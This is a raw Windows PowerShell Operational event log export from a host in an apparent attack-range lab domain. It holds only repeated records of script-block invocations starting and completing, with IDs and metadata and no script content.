ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049757
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049751
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049729
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049727
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049726
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049715
Keywords=None
